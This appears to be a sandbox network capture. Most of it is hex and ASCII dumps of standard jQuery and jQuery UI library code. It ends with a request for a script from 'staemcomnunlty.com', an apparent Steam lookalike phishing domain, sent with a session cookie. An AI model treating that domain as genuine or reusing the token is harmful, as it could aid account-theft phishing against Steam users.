2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c Data Ascii: e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("bool
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 Data Ascii: null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 Data Ascii: M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 Data Ascii: .nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 Data Ascii: .parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 2c 6f 65 29 29 2c 64 2e 61 74 74 72 69 62 75 74 65 73 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c Data Ascii: ,oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByCl
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 Data Ascii: t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selecte
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 69 6e 28 22 7c 22 29 29 2c 73 3d 73 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d Data Ascii: in("\|")),s=s.length&&new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocum

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:45 UTC	501	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 00:08:45 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1170293 Date: Tue, 14 Jan 2025 00:08:45 GMT X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740065-EWR X-Cache: HIT, HIT X-Cache-Hits: 4907, 0 X-Timer: S1736813325.357440,VS0,VE3 Vary: Accept-Encoding
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 0a 7d 29 3b 0a 0a 2f 2f 20 70 6c 75 67 69 6e 73 0a 24 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 0a 09 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 63 6c 75 64 65 48 69 64 64 65 6e 20 29 20 7b 0a 09 09 76 61 72 20 70 6f 73 69 74 69 6f 6e 20 3d 20 74 68 69 73 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 2c 0a 09 09 09 65 78 63 6c 75 64 65 53 74 61 74 69 63 50 61 72 Data Ascii: 7,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38}});// plugins$.fn.extend({scrollParent: function( includeHidden ) {var position = this.css( "position" ),excludeStaticPar
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 65 20 7c 7c 20 6d 61 70 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 3d 20 22 6d 61 70 22 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 09 09 69 6d 67 20 3d 20 24 28 20 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 20 2b 20 6d 61 70 4e 61 6d 65 20 2b 20 22 27 5d 22 20 29 5b 20 30 20 5d 3b 0a 09 09 72 65 74 75 72 6e 20 21 21 69 6d 67 20 26 26 20 76 69 73 69 62 6c 65 28 20 69 6d 67 20 29 3b 0a 09 7d 0a 09 72 65 74 75 72 6e 20 28 20 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 20 6e 6f 64 65 4e 61 6d 65 20 29 20 3f 0a 09 09 21 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 20 3a 0a 09 09 22 61 22 20 Data Ascii: e \|\| map.nodeName.toLowerCase() !== "map" ) {return false;}img = $( "img[usemap='#" + mapName + "']" )[ 0 ];return !!img && visible( img );}return ( /^(input\|select\|textarea\|button\|object)$/.test( nodeName ) ?!element.disabled :"a"
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 22 4c 65 66 74 22 2c 20 22 52 69 67 68 74 22 20 5d 20 3a 20 5b 20 22 54 6f 70 22 2c 20 22 42 6f 74 74 6f 6d 22 20 5d 2c 0a 09 09 09 74 79 70 65 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 09 09 09 6f 72 69 67 20 3d 20 7b 0a 09 09 09 09 69 6e 6e 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 57 69 64 74 68 2c 0a 09 09 09 09 69 6e 6e 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 0a 09 09 09 09 6f 75 74 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 57 69 64 74 68 2c 0a 09 09 09 09 6f 75 74 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 48 65 69 67 68 74 0a 09 09 09 7d 3b 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 65 28 20 65 6c 65 6d 2c 20 73 69 7a 65 2c Data Ascii: "Left", "Right" ] : [ "Top", "Bottom" ],type = name.toLowerCase(),orig = {innerWidth: $.fn.innerWidth,innerHeight: $.fn.innerHeight,outerWidth: $.fn.outerWidth,outerHeight: $.fn.outerHeight};function reduce( elem, size,
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 62 22 2c 20 22 61 22 20 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 61 2d 62 22 20 29 2e 64 61 74 61 28 20 22 61 2d 62 22 20 29 20 29 20 7b 0a 09 24 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 20 72 65 6d 6f 76 65 44 61 74 61 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 20 29 20 7b 0a 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 24 2e 63 61 6d 65 6c 43 61 73 65 28 20 6b 65 79 20 29 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 Data Ascii: b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {$.fn.removeData = (function( removeData ) {return function( key ) {if ( arguments.length ) {return removeData.call( this, $.camelCase( key ) );} else {return removeData.call( this );
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 20 77 68 65 72 65 20 7a 2d 69 6e 64 65 78 20 69 73 20 69 67 6e 6f 72 65 64 20 62 79 20 74 68 65 20 62 72 6f 77 73 65 72 0a 09 09 09 09 2f 2f 20 54 68 69 73 20 6d 61 6b 65 73 20 62 65 68 61 76 69 6f 72 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 73 69 73 74 65 6e 74 20 61 63 72 6f 73 73 20 62 72 6f 77 73 65 72 73 0a 09 09 09 09 2f 2f 20 57 65 62 4b 69 74 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 61 75 74 6f 20 69 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 70 6f 73 69 74 69 6f 6e 65 64 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 3b 0a 09 09 09 09 69 66 20 28 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 22 61 62 73 6f 6c 75 74 65 22 20 7c 7c 20 70 6f 73 69 74 Data Ascii: where z-index is ignored by the browser// This makes behavior of this function consistent across browsers// WebKit always returns auto if the element is positionedposition = elem.css( "position" );if ( position === "absolute" \|\| posit
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 20 29 20 7b 0a 09 09 09 09 73 65 74 5b 20 69 20 5d 5b 20 31 20 5d 2e 61 70 70 6c 79 28 20 69 6e 73 74 61 6e 63 65 2e 65 6c 65 6d 65 6e 74 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 7d 3b 0a 0a 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 57 69 64 67 65 74 20 31 2e 31 31 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 68 Data Ascii: ) {set[ i ][ 1 ].apply( instance.element, args );}}}};/! jQuery UI Widget 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * h
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 09 65 78 69 73 74 69 6e 67 43 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 3b 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 2c 20 65 6c 65 6d 65 6e 74 20 29 20 7b 0a 09 09 2f 2f 20 61 6c 6c 6f 77 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 77 69 74 68 6f 75 74 20 22 6e 65 77 22 20 6b 65 79 77 6f 72 64 0a 09 09 69 66 20 28 20 21 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 63 6f 6e 73 74 72 Data Ascii: $[ namespace ] = $[ namespace ] \|\| {};existingConstructor = $[ namespace ][ name ];constructor = $[ namespace ][ name ] = function( options, element ) {// allow instantiation without "new" keywordif ( !this._createWidget ) {return new constr
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 5f 73 75 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 09 7d 2c 0a 09 09 09 09 5f 73 75 70 65 72 41 70 70 6c 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 72 67 73 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 09 7d 3b 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 5f 5f 73 75 70 65 72 20 3d 20 74 68 69 73 2e 5f 73 75 70 65 72 Data Ascii: n() {var _super = function() {return base.prototype[ prop ].apply( this, arguments );},_superApply = function( args ) {return base.prototype[ prop ].apply( this, args );};return function() {var __super = this._super
2025-01-14 00:08:45 UTC	1378	IN	Data Raw: 20 63 68 69 6c 64 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 72 65 64 65 66 69 6e 65 20 74 68 65 20 63 68 69 6c 64 20 77 69 64 67 65 74 20 75 73 69 6e 67 20 74 68 65 20 73 61 6d 65 20 70 72 6f 74 6f 74 79 70 65 20 74 68 61 74 20 77 61 73 0a 09 09 09 2f 2f 20 6f 72 69 67 69 6e 61 6c 6c 79 20 75 73 65 64 2c 20 62 75 74 20 69 6e 68 65 72 69 74 20 66 72 6f 6d 20 74 68 65 20 6e 65 77 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 20 62 61 73 65 0a 09 09 09 24 2e 77 69 64 67 65 74 28 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 73 70 61 63 65 20 2b 20 22 2e 22 20 2b 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 4e 61 6d 65 2c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2c 20 63 68 69 6c 64 2e 5f 70 72 6f 74 6f 20 29 3b 0a Data Ascii: child.prototype;// redefine the child widget using the same prototype that was// originally used, but inherit from the new version of the base$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:45 UTC	1052	OUT	GET /721a76577b085b5f0a000149.js HTTP/1.1 Host: staemcomnunlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; 